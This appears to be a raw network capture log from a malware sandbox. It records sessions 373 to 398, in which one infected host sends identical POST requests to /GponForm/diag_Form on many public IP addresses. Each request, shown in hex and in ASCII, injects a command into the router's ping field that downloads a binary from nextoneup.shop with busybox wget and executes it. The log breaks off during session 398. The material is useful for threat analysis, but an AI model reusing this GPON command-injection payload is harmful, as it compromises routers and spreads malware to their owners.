XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.23	55756	117.190.21.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165882111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.23	47830	178.197.33.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165925980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.23	57332	42.193.113.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165962934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.23	43224	79.190.119.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166013956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.23	41636	212.167.55.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166079044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.23	44832	210.208.22.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166115046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.23	44036	94.77.151.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166117907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.23	56998	118.72.157.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166167021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.23	45390	148.120.26.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166187048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.23	35086	94.65.226.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166207075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.23	46532	210.254.1.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166299105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.23	60274	5.42.66.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166299105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.23	53156	178.63.191.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166338921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.23	54612	109.123.193.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166363001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.23	55386	109.22.230.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166423082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.23	53990	212.194.198.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166448116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.23	50326	5.157.170.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166475058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.23	56334	2.84.126.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166527033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.23	42410	79.101.216.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166563034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.23	55258	210.191.117.20	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166630030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.23	39352	123.122.39.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166629076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.23	36366	109.152.157.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166662931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.23	39456	210.85.27.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166731119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.23	56514	5.89.25.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166739941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.23	44314	117.223.217.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.166775942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.23	51446	212.9.131.61	443

Timestamp	Bytes transferred	Direction	Data
